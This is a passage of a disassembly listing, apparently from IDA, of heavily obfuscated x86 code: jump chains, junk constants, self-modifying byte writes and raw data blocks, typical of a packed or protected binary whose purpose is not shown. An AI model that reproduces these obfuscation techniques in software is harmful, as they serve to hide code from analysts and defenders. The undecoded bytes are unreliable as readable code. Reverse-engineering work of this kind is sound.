FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42F33B: ; CODE XREF: sub_431686-2A24j xor esi, 398EA582h push ecx mov ecx, offset loc_430CB2 jmp loc_42FEB9 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- loc_42F34C: ; CODE XREF: fzj3qwht:loc_43108Fj sub edx, 8875A63Eh and edx, 96965202h sub edx, 40F27304h js loc_432679 ; --------------------------------------------------------------------------- dd 8E90000h, 0FFFFFFEh, 0DB581h, 0E9318700h, 3301h, 24048700h ; CODE XREF: fzj3qwht:004326AFj dd 8B242C87h, 6C65DC5h, 77E85E8Bh, 0Eh db 0 ; --------------------------------------------------------------------------- loc_42F38D: ; CODE XREF: fzj3qwht:0042EF9Fj jmp loc_430BAB ; --------------------------------------------------------------------------- dw 0C300h dd 35B9E900h, 0C3000000h, 64C08100h, 0E92B73E9h, 657h dd 0F842820Fh, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42F3B0: ; CODE XREF: sub_431686-D23j jmp loc_430CA0 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- db 2 dup(0), 5Ah ; --------------------------------------------------------------------------- or edi, 89137F78h and eax, ebp test ebp, 70A12882h jmp loc_430130 ; --------------------------------------------------------------------------- align 4 dd 8B02C600h, 3102C65Ah, 34A9E85Ah db 3 dup(0) ; --------------------------------------------------------------------------- loc_42F3DB: ; CODE XREF: fzj3qwht:0042F1BDj jmp loc_42F5F2 ; --------------------------------------------------------------------------- dd 588D0F00h, 0C1000013h, 2A8B1BC3h, 4CE93189h, 13h, 3571B4BBh ; CODE XREF: sub_42F4AE+2A12j dd 0E9D81B18h, 120Ah, 24048799h, 8B243487h, 0C0815EC6h dd 9F74F076h, 42F02568h, 0A1DE900h, 0 ; --------------------------------------------------------------------------- mov edx, 0BCF8139h jnp loc_42F99E jmp sub_431F11 ; --------------------------------------------------------------------------- dd 3B680000h, 0E9004316h, 0B42h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] dw 0E900h dd 1E7Bh, 0F7810000h, 968894FBh, 8B5FC703h, 0CA689C00h dd 59D941CBh, 2F0EE9h, 87000000h, 487241Ch, 58D88B24h dd 0E9243C87h, 0F3h, 0E7840F00h, 51000013h, 42EF49B9h dd 0FAC6E900h, 0FFFFh ; --------------------------------------------------------------------------- locret_42F480: ; CODE XREF: fzj3qwht:00432815j retn ; --------------------------------------------------------------------------- loc_42F481: ; DATA XREF: fzj3qwht:00432810o popf inc ecx add [ecx+ebx*4], ch push 0D31428Ch pop edx or edx, 0C7FFAF9Bh jmp loc_4312BC ; --------------------------------------------------------------------------- align 4 mov esi, ebp pop ebp pushf push ecx push 0D02DBA39h xchg edi, [esp] mov ecx, edi pop edi jmp loc_431D4E ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_42F4AE proc near ; CODE XREF: sub_42EE90+106Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0042F1F8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F2D4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042F2F0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042FBA7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042FBEB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042FCB8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042FDFB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042FE7E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043000C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430121 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043042F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043045A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00430669 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00430A70 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00430EE6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430F5C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00430FDF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004318F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431EA6 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00432243 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432376 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043243C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004325E1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00432766 SIZE 0000000F BYTES xchg eax, [esp-8+arg_4] pop eax add ebx, ebp add ebx, 69DEF140h mov ebx, [ebx] jmp loc_42F6B2 ; --------------------------------------------------------------------------- align 2 mov [ebp+0], edx jmp loc_42F2F0 ; --------------------------------------------------------------------------- dw 0D381h dd 0AAB8E258h, 0FFFF86E9h, 3107C6FFh, 0FE12E85Fh, 0FFFFh ; --------------------------------------------------------------------------- loc_42F4E0: ; CODE XREF: sub_431452-154j jmp loc_42F1F8 ; --------------------------------------------------------------------------- align 2 cmp edx, ebp jmp loc_430669 ; --------------------------------------------------------------------------- align 2 test eax, 0C8450A3h jmp loc_431EA6 ; --------------------------------------------------------------------------- db 2 dup(0), 5Bh dd 0BF10E381h, 0C3F71BB1h, 2000h, 0FFFC1FE9h, 0C60000FFh dd 6851C300h, 6090FF8h, 0C6C98159h, 0E9CD8639h, 3047h db 0 ; --------------------------------------------------------------------------- locret_42F525: ; CODE XREF: sub_42F4AE:loc_4318F9j retn ; --------------------------------------------------------------------------- align 4 jmp loc_432766 ; --------------------------------------------------------------------------- db 2 dup(0), 57h ; CODE XREF: fzj3qwht:004311A1j ; fzj3qwht:loc_431ABEj dd 431F65BFh, 0F9A2E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- locret_42F53B: ; CODE XREF: fzj3qwht:loc_432430j retn ; --------------------------------------------------------------------------- loc_42F53C: ; CODE XREF: fzj3qwht:00432964j jmp loc_42FE7E ; --------------------------------------------------------------------------- jmp loc_43042F ; --------------------------------------------------------------------------- dw 0E800h dd 0FFFFFA4Bh, 0D5130000h, 2042E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F556: ; CODE XREF: fzj3qwht:00430C0Cj add eax, ebx call sub_43098E ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF9B1h, 24B800Fh, 0DA1B0000h, 2815E9h db 0 ; --------------------------------------------------------------------------- locret_42F571: ; CODE XREF: fzj3qwht:loc_4322E3j retn ; --------------------------------------------------------------------------- align 4 jmp nullsub_147 ; --------------------------------------------------------------------------- db 0Fh, 8Eh, 0B6h dd 0E900001Dh, 0FFFFF444h ; --------------------------------------------------------------------------- locret_42F584: ; CODE XREF: fzj3qwht:loc_4311DCj retn ; --------------------------------------------------------------------------- jmp nullsub_148 ; --------------------------------------------------------------------------- xchg edx, eax jnp loc_42F2D4 jmp sub_4309EE ; --------------------------------------------------------------------------- align 4 jnb loc_43141A jmp loc_430F5C ; --------------------------------------------------------------------------- xchg ebp, [esp-0Ch+arg_8] mov ebx, offset loc_42FDEC jmp loc_430A70 ; --------------------------------------------------------------------------- locret_42F5B0: ; CODE XREF: sub_4316FE:loc_43249Cj retn ; --------------------------------------------------------------------------- align 2 loc_42F5B2: ; CODE XREF: fzj3qwht:0042EE36j mov byte ptr [eax], 9Ch pop eax xor eax, 0CAC7E5B1h add eax, 4FB77B60h add eax, ebp push offset sub_4301B7 jmp loc_430FDF ; --------------------------------------------------------------------------- dw 8100h ; CODE XREF: sub_43239B+Aj dd 913564EAh, 13C2C15Dh, 5E47EA81h, 0F2811637h, 0E6B0A611h dd 0C281D503h, 1FF958DCh, 2212E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F5F2: ; CODE XREF: fzj3qwht:loc_42F3DBj mov byte ptr [edi], 87h pop edi mov ecx, ebx xchg edx, [esp-10h+arg_C] mov ebx, edx jmp loc_432243 ; --------------------------------------------------------------------------- align 4 dd 28E9D133h, 0FFFFF4h, 0BF118900h, 0B564A4B2h, 2E01E9h dd 242C8700h, 0F8126856h, 535E6E5Dh, 431B2EBBh, 0FF19E900h dd 0FFFFh, 1487EA87h, 51685A24h, 5A9C028Ch, 0E917C2C1h dd 1353h, 0C2810000h, 84566374h, 1487128Bh, 174C6824h dd 90E90043h, 0FFFFF5h, 3A8C0F00h, 13000004h, 0C1CD1BE8h dd 0DEE91EC9h, 1Dh db 0 ; --------------------------------------------------------------------------- loc_42F671: ; CODE XREF: sub_430C8C:loc_42F2A8j push ecx mov ecx, esi xchg ecx, [esp-0Ch+arg_8] jmp loc_430EE6 ; --------------------------------------------------------------------------- dd 0BDE95D00h, 1Bh, 430E5F68h, 2D3FE900h, 4AB80000h, 0E9FFF4D5h dd 14B4h, 8C0F0000h, 8E1h, 0A8E90000h, 3FFFFFBh, 0E93087F0h dd 8D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F6B2: ; CODE XREF: sub_42F4AE+Ej popf push offset loc_430D85 jmp loc_4318F9 sub_42F4AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; CODE XREF: fzj3qwht:004302EAj dd 5BE90000h, 2Dh, 8702C600h, 0F7C2815Ah, 870AC332h, 0FAE92414h ; CODE XREF: fzj3qwht:loc_431F03j dd 0Bh, 0AE0C100h, 0FFF394E9h, 0E9C300FFh, 29FFh, 0E90B8900h dd 2FC0h, 0D209108Bh, 261C840Fh, 0E9520000h, 2F02h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F706: ; CODE XREF: sub_43041D:loc_42F88Aj add edx, ebx pop ebx mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jnz loc_42F32C jmp sub_430B68 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- jmp loc_42F32C ; --------------------------------------------------------------------------- align 10h dd 240C8700h, 24148759h, 0FFF108E9h, 8B5500FFh, 27C6E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_42F736: ; CODE XREF: sub_42FA52+7j jge loc_43191A loc_42F73C: ; CODE XREF: sub_42F263+10j jmp loc_4317D6 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- align 2 dw 0F0E9h dd 0FFFFFAh, 0AFF68199h, 0E907A695h, 21C6h, 0C30000h, 0A1C08100h dd 3D14EE7h, 0BFBE56C5h, 0E90042FAh, 669h, 59240C87h, 4326F968h dd 2D18E900h, 0 db 0C6h ; Æ db 3 db 1 db 87h ; ‡ db 2Ch ; , db 24h ; $ db 8Bh ; ‹ db 0DDh ; Ý db 5Dh ; ] db 0ACh ; ¬ db 0FDh ; ý db 0C2h ;  db 0E9h ; é db 0B8h ; ¸ dw 0FFF3h dd 0A85000FFh, 363A5868h, 0C0C158D1h, 0B0C0810Bh, 0E84E7061h dd 2BAAh, 66E90000h, 0E9000006h, 0FFFFF589h, 0C30000h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4312D7 loc_42F7B5: ; CODE XREF: sub_4312D7+Ej jmp loc_4302A9 ; END OF FUNCTION CHUNK FOR sub_4312D7 ; --------------------------------------------------------------------------- jmp loc_430D55 ; --------------------------------------------------------------------------- jz loc_431232 jmp sub_42FC3B ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_430E27 loc_42F7CC: ; CODE XREF: sub_430E27:loc_42FD05j mov byte ptr [edi], 9Ch pop edi mov [esi], eax pop esi loc_42F7D3: ; DATA XREF: sub_430E27+4o mov esp, 0EDB12368h mov esp, 4AC88158h db 64h mov ch, 0B9h jmp loc_431FD9 ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- align 2 loc_42F7E6: ; CODE XREF: fzj3qwht:0042EA20j xchg eax, [esp] xchg edi, [esp] mov eax, edi pop edi jmp loc_431475 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_42F7F7: ; CODE XREF: fzj3qwht:0042E917j retn ; --------------------------------------------------------------------------- jmp loc_43132E ; --------------------------------------------------------------------------- loc_42F7FD: ; DATA XREF: fzj3qwht:0042E912o push offset byte_4319A1 jmp loc_42EA3F ; --------------------------------------------------------------------------- align 4 dd 81D60300h, 68454AC1h, 98B9D23h, 0F2F4F8BAh, 0FCC031F1h dd 0FFFEA1E9h, 41C381FFh, 687A32CFh, 431491h, 2518E9h dd 8DC38100h, 0E97C73ADh, 26Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F83E: ; DATA XREF: sub_430F2A:loc_43246Co mov byte ptr [eax], 2Ch pop eax add eax, 1076046Fh mov eax, [eax] popf mov al, [eax] loc_42F84D: ; DATA XREF: sub_430F2A+5o mov ch, 99h jmp loc_42F9FA ; --------------------------------------------------------------------------- dd 0D3C28100h, 0E9D774F6h, 1540h, 0F1880F00h, 28h, 752E9h dd 0EBC10000h, 28DEE91Ah, 0F000000h, 6568Ah, 0D31E900h db 3 dup(0) ; --------------------------------------------------------------------------- loc_42F883: ; CODE XREF: fzj3qwht:00432855j jl loc_4306CE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F88A: ; CODE XREF: sub_43041D+E9j jmp loc_42F706 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- align 10h add ecx, ebp jmp loc_4306C7 ; --------------------------------------------------------------------------- db 68h dd offset loc_430B9B dd 0FFF283E9h, 0F0000FFh, 18F83h db 0 ; =============== S U B R O U T I N E ======================================= sub_42F8A9 proc near ; CODE XREF: sub_42EFCF+1504p ; FUNCTION CHUNK AT 00432782 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pop esi jmp loc_432782 sub_42F8A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_42F8B4: ; CODE XREF: fzj3qwht:004312D0j mov byte ptr [esi], 9Dh pop esi pop edx rol edx, 17h or edx, 0E57584B0h call sub_430C13 ; --------------------------------------------------------------------------- db 0 db 0 db 0C6h ; Æ db 1 db 3 db 59h ; Y db 0E8h ; è db 71h ; q db 14h db 0 db 0 db 0 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h dd 2A98h, 58240487h, 4F6E85Fh ; CODE XREF: fzj3qwht:loc_4322FEj db 3 dup(0) ; --------------------------------------------------------------------------- loc_42F8E7: ; CODE XREF: fzj3qwht:loc_430A55j and eax, 470262A5h sub eax, 0A33EDB30h rol eax, 0Eh call sub_431E69 add cl, ch ; CODE XREF: sub_431E7D+7j cdq and eax, 3AE90000h sub [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- sub ebx, eax xchg ebp, esi jmp loc_43103F ; --------------------------------------------------------------------------- align 2 loc_42F912: ; CODE XREF: fzj3qwht:0042EB2Cj call sub_43060A add cl, ch sahf add cs:[eax], al call near ptr dword_42E9A4+24h ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F922: ; CODE XREF: sub_43041D+Bj jmp loc_4304E8 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- jmp loc_4321D4 ; --------------------------------------------------------------------------- dd 0E9030000h, 371E9h, 992C0000h, 0FFA73768h, 0EA815A86h dd 664A2151h, 9397CA81h, 0D8E910DFh, 0FFFFFFh, 82E9D60Bh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E46 loc_42F957: ; CODE XREF: sub_430E46+7j ; DATA XREF: fzj3qwht:004312CBo aas mov eax, [ebp-0Ch] mov esp, ebp call sub_4328BA add cl, ch adc al, 12h ; END OF FUNCTION CHUNK FOR sub_430E46 ; --------------------------------------------------------------------------- dw 0 db 0 ; --------------------------------------------------------------------------- loc_42F969: ; CODE XREF: fzj3qwht:0043094Dj jmp loc_42F9D9 ; --------------------------------------------------------------------------- align 10h dd 0FFFFC1E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_42F975: ; CODE XREF: sub_4316FE:loc_42ED04j mov ebp, esp push offset sub_42FF6B jmp loc_43249C ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- locret_42F981: ; CODE XREF: fzj3qwht:loc_4318C2j retn ; --------------------------------------------------------------------------- align 4 loc_42F984: ; CODE XREF: fzj3qwht:00432176j jmp loc_431270 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 2922h, 8BDE9h, 87000000h, 875F243Ch ; --------------------------------------------------------------------------- sbb al, 24h loc_42F99E: ; CODE XREF: fzj3qwht:0042F421j jmp loc_431113 ; --------------------------------------------------------------------------- align 4 dd 0E9B56800h, 2CA6E4C0h, 2AE95524h, 0FFFFFDh, 4421EF81h dd 2FE94242h, 11h, 0F320800Fh, 82E9FFFFh, 1Ah, 2EE85300h dd 10h, 1BD9E9h db 0 ; --------------------------------------------------------------------------- loc_42F9D9: ; CODE XREF: fzj3qwht:loc_42F969j push offset loc_42FDB1 jmp near ptr dword_42E794+6Fh ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F188 loc_42F9E4: ; CODE XREF: sub_42F188:loc_43197Dj jl loc_431C6F not ebx jmp loc_431C6E ; END OF FUNCTION CHUNK FOR sub_42F188 ; --------------------------------------------------------------------------- align 2 locret_42F9F2: ; CODE XREF: fzj3qwht:0042E78Dj retn ; --------------------------------------------------------------------------- align 4 dd 1D8EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F9FA: ; CODE XREF: fzj3qwht:0042F84Fj jmp loc_4313CB ; --------------------------------------------------------------------------- jmp loc_430043 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42FA05: ; DATA XREF: fzj3qwht:0042E788o jmp loc_4313EB ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_42FA0B: ; CODE XREF: fzj3qwht:0042E782j retn ; --------------------------------------------------------------------------- dd 8B520000h, 0FDA4E9D5h, 0F00FFFFh, 16189h, 0B68AC00h dd 0E9004326h, 0D36h, 3C2C100h, 431B6E68h, 0FB3EE900h dd 0FFFFh, 810CC3C1h, 773950F3h, 0B5CB8160h, 6802CC75h dd 42F831h, 1DB1E9h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FA52 proc near ; CODE XREF: fzj3qwht:004318D2p var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042F736 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FE43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004303A4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004317D6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043191A SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00431F49 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004320C3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043273D SIZE 00000005 BYTES xchg eax, [esp+0] pop eax cmp ebx, edi pop edi jmp loc_42F736 sub_42FA52 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebx, [esp] push edx mov edx, offset loc_4322CD jmp loc_43025A ; --------------------------------------------------------------------------- db 0 byte_42FA6D db 87h, 14h, 24h ; DATA XREF: fzj3qwht:loc_42FEECo db 8Bh, 0DAh, 5Ah byte_42FA73 db 3Ah ; DATA XREF: fzj3qwht:0042F15Co dd 0F08B2404h, 8B242C87h, 0F148E9C5h, 8100FFFFh, 0BDE2B5C9h ; CODE XREF: fzj3qwht:00432367j dd 0BC18190h db 14h, 2, 26h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42FA8F: ; CODE XREF: sub_4301B7-14A2j push offset loc_43018A jmp locret_4314FA ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- loc_42FA99: ; CODE XREF: fzj3qwht:00431B68j mov byte ptr [ecx], 3 pop ecx push 42EC12h jmp loc_4318C2 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- align 2 dw 3C6h dd 243C8788h, 0E85FDF8Bh, 0FFFFF125h ; --------------------------------------------------------------------------- loc_42FAB8: ; CODE XREF: fzj3qwht:0042EFE8j jmp loc_42F2D4 ; --------------------------------------------------------------------------- db 2 dup(0), 2Fh ; CODE XREF: fzj3qwht:loc_431720j dd 6800FF9h, 0E8FFFFFFh, 2C1Eh ; --------------------------------------------------------------------------- locret_42FACC: ; CODE XREF: fzj3qwht:00431896j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42FACF: ; CODE XREF: fzj3qwht:loc_43128Ej jmp loc_4318C9 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB56 loc_42FAD6: ; CODE XREF: sub_42EB56:loc_4324E3j and esi, 4716E5DCh add esi, 0A5E7B023h jnb near ptr loc_43261D+5 ; END OF FUNCTION CHUNK FOR sub_42EB56 ; --------------------------------------------------------------------------- dd 0EA330000h, 22A8E9h, 87000000h, 815E2434h, 1384F2C0h dd 0E9008B62h, 26A6h db 0 ; --------------------------------------------------------------------------- loc_42FB05: ; CODE XREF: fzj3qwht:0042ED6Ej jl near ptr dword_42E794+8 add [ebx], bh jmp near ptr 2F7BFBh ; --------------------------------------------------------------------------- inc dword ptr [eax] add bl, al xchg edx, [ebx] jmp sub_430C13 ; --------------------------------------------------------------------------- align 2 locret_42FB1E: ; CODE XREF: fzj3qwht:00430847j retn ; --------------------------------------------------------------------------- align 10h db 0, 0FFh, 0D0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42FB23: ; CODE XREF: sub_431686-2A3Dj ; fzj3qwht:loc_4316B5j push (offset loc_431AE0+1) jmp loc_431A12 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_42FB2D: ; CODE XREF: sub_430F48:loc_43167Bj mov edi, eax xchg edi, [esp+0] call near ptr dword_42E8AC+15h imul eax, [eax], 0F68FE900h ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0E8h ; --------------------------------------------------------------------------- retf 0FFFEh ; --------------------------------------------------------------------------- db 0FFh dd 0EA5E8h, 0F000000h, 0FFFCD08Dh, 0D61B00FFh, 9E3C158h dd 0DB81F503h, 63B5A574h, 0FFFCBCE9h, 870000FFh, 0FF5F243Ch dd 42A0C015h, 147BE900h, 0 ; --------------------------------------------------------------------------- jmp loc_431E94 ; --------------------------------------------------------------------------- align 2 push eax mov eax, offset loc_43122D jmp loc_432467 ; --------------------------------------------------------------------------- align 2 push 0BAB1DE92h jmp loc_430307 ; --------------------------------------------------------------------------- dd 0E7810000h, 7645C2F7h, 0EC14D981h, 0DEE965F6h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FBA7: ; CODE XREF: sub_42F4AE+2A00j cdq xor ebx, edi jmp loc_42FDFB ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- loc_42FBAF: ; DATA XREF: sub_42FA52+1D8Ao add esi, ebp push ecx mov ecx, offset byte_431907 jmp loc_42ED96 ; --------------------------------------------------------------------------- dd 14870000h, 5A595224h, 8B241C87h, 27EE9EBh, 0 dword_42FBD0 dd 21E8595Eh, 8BFFFFEAh, 0C38B5010h, 68240487h, 55798B1h ; DATA XREF: fzj3qwht:0042ED39o dd 0FFF912E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FBEB: ; CODE XREF: sub_42F4AE+95Dj xor edx, 2F565DD7h xchg edx, [esp-0Ch+arg_8] lea eax, [ebp-81h] push ebx push eax pop ebx adc al, 1Ch and al, 0E9h xchg dh, dh ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0FFh dd 990000FFh, 0C257C581h, 0C2E93627h, 0FFFFF0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42FC14: ; CODE XREF: sub_4301B7-1496j add ecx, 50B0E746h popf cdq call sub_42ED87 ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 14870000h, 4875A24h, 0C88B5124h, 9C240C87h, 15D5E9h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FC3B proc near ; CODE XREF: fzj3qwht:0042F7C5j ; fzj3qwht:0043229Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h ; FUNCTION CHUNK AT 004307B9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00430878 SIZE 00000009 BYTES xchg ecx, [esp+0] pop ecx lea eax, nullsub_134 mov byte ptr [eax], 0C3h call near ptr loc_4304D8+1 rol edx, 15h jmp loc_4307B9 sub_42FC3B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 loc_42FC56: ; CODE XREF: fzj3qwht:00431993j mov byte ptr [edx], 57h pop edx pop esi push esi mov esi, ebp xchg esi, [esp] pop ebx in al, dx push eax jmp loc_4302C3 ; --------------------------------------------------------------------------- align 2 xchg ebp, [esp] push 3438DB61h xchg ebp, [esp] mov esi, ebp pop ebp add esi, 0C225606h jmp loc_431F0A ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_42FC85: ; CODE XREF: sub_4301AC+1BD3j jl loc_431CC5 ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- db 0 dd 1C860F00h, 0E9000024h, 2028h, 0B78D0F00h, 0E9FFFFEFh dd 0FFFFF6D5h, 3C870000h, 45C65F24h, 45FF2DE0h, 1B6FE8F0h dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FCB8: ; CODE XREF: sub_42F4AE:loc_432243j pop edx fistp [esp-0Ch+arg_8] push ebx pop ebp pop ebx retn ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432090 loc_42FCC1: ; CODE XREF: sub_432090+Bj jmp loc_42FDEC ; END OF FUNCTION CHUNK FOR sub_432090 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_42FCC8 proc near ; CODE XREF: sub_4309EE+4p ; fzj3qwht:loc_431113j push 131AFD00h jmp near ptr dword_42EDF4+21h sub_42FCC8 endp ; --------------------------------------------------------------------------- dw 9900h ; --------------------------------------------------------------------------- xchg edi, [esp] pop edi jmp loc_4322FE ; --------------------------------------------------------------------------- xchg esi, [esp] push eax jmp loc_431C47 ; --------------------------------------------------------------------------- dw 300h db 0DDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_42FCE9: ; CODE XREF: sub_431452-1114j add ebx, 3195D621h db 64h add ebp, eax mov esi, ebp ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- dd 0FFFFh, 42F00268h, 0F9A0E900h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E27 loc_42FD05: ; CODE XREF: sub_430E27+9j jmp loc_42F7CC ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- dw 0E900h dd 64Bh, 879D3F8Bh, 9C51243Ch, 0A274868h, 96E9594Ch, 87000002h dd 0C65B241Ch, 34879D02h, 5ED68B24h, 9302E881h, 0C0C1DE75h dd 0ADBE919h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_42FD40: ; CODE XREF: sub_42FF6B:loc_431630j mov esi, offset loc_42FE11 jmp loc_42EFB2 ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- mov byte ptr [eax], 87h pop eax pop edx or edx, 3E95D7B0h sub edx, 6407E5BDh add edx, 0EF58EF1h jmp loc_430758 ; --------------------------------------------------------------------------- align 4 dd 870F03C6h, 0DE8B2434h, 0FB8BE95Eh, 5F00FFFFh, 811AC7C1h dd 73D044E7h, 9B46848h, 80E90043h, 2, 0E9FE8500h, 0FFFFEDD7h ; --------------------------------------------------------------------------- loc_42FD94: ; DATA XREF: fzj3qwht:004311ABo push 5F2BA5EBh xchg ebp, [esp] mov edi, ebp pop ebp sub edi, 2CAFB784h or edi, 896749B1h jmp loc_4321A3 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42FDB1: ; DATA XREF: fzj3qwht:loc_42F9D9o add ecx, ebp add ecx, 12FE9F75h mov [ecx], eax xchg edi, [esp] mov ecx, edi pop edi jmp 